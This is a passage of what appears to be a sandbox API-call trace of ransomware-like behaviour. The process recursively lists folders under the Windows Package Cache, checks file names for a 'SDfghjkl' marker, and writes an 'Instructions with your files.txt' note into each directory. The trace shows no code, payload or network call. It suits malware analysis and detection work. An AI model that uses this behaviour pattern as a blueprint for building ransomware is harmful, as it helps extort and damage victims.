[0126.928] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0126.928] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned 114
[0126.928] GetProcessHeap () returned 0x810000
[0126.928] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0126.928] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned 116
[0126.928] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0126.929] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\.") returned 116
[0126.929] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0126.929] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\..") returned 117
[0126.929] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a2800, ftCreationTime.dwHighDateTime=0x1ced4d9, ftLastAccessTime.dwLowDateTime=0x969a2800, ftLastAccessTime.dwHighDateTime=0x1ced4d9, ftLastWriteTime.dwLowDateTime=0x969a2800, ftLastWriteTime.dwHighDateTime=0x1ced4d9, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0126.929] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123
[0126.929] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0126.929] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0126.929] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 140
[0126.929] StrStrIW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0126.929] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1afc00, ftCreationTime.dwHighDateTime=0x1ced4da, ftLastAccessTime.dwLowDateTime=0x5a1afc00, ftLastAccessTime.dwHighDateTime=0x1ced4da, ftLastWriteTime.dwLowDateTime=0x5a1afc00, ftLastWriteTime.dwHighDateTime=0x1ced4da, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0126.929] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt") returned 147
[0126.929] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0127.066] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0127.068] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0127.068] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0127.068] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0127.068] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0127.068] CloseHandle (hObject=0x114) returned 1
[0127.069] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0127.069] GetProcessHeap () returned 0x810000
[0127.069] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0127.069] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0127.069] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Instructions with your files.txt") returned 124
[0127.069] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0127.070] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0127.070] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0127.070] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0127.071] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0127.071] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0127.071] CloseHandle (hObject=0x110) returned 1
[0127.071] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0127.071] GetProcessHeap () returned 0x810000
[0127.071] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0127.071] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0127.071] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Instructions with your files.txt") returned 115
[0127.071] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0127.072] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0127.072] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0127.072] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0127.072] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0127.073] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0127.073] CloseHandle (hObject=0x10c) returned 1
[0127.073] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0127.073] GetProcessHeap () returned 0x810000
[0127.073] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0127.073] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1
[0127.073] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 83
[0127.073] GetProcessHeap () returned 0x810000
[0127.073] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0127.073] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned 85
[0127.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0127.073] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\.") returned 85
[0127.073] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.074] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\..") returned 86
[0127.074] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
[0127.074] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned 92
[0127.074] GetProcessHeap () returned 0x810000
[0127.074] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0127.074] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned 94
[0127.074] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0127.075] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\.") returned 94
[0127.075] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.075] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\..") returned 95
[0127.075] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
[0127.075] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned 118
[0127.075] GetProcessHeap () returned 0x810000
[0127.075] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0127.075] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned 120
[0127.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0127.075] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\.") returned 120
[0127.075] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.075] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\..") returned 121
[0127.075] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7f300, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xdae7f300, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xdae7f300, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
[0127.075] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 127
[0127.075] StrStrIW (lpFirst="cab1.cab", lpSrch="SDfghjkl") returned 0x0
[0127.076] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
[0127.076] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 147
[0127.076] StrStrIW (lpFirst="vc_runtimeAdditional_x64.msi", lpSrch="SDfghjkl") returned 0x0
[0127.076] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36fed00, ftCreationTime.dwHighDateTime=0x1d28825, ftLastAccessTime.dwLowDateTime=0x36fed00, ftLastAccessTime.dwHighDateTime=0x1d28825, ftLastWriteTime.dwLowDateTime=0x36fed00, ftLastWriteTime.dwHighDateTime=0x1d28825, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
[0127.076] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt") returned 151
[0127.076] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0127.081] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0127.082] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0127.082] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
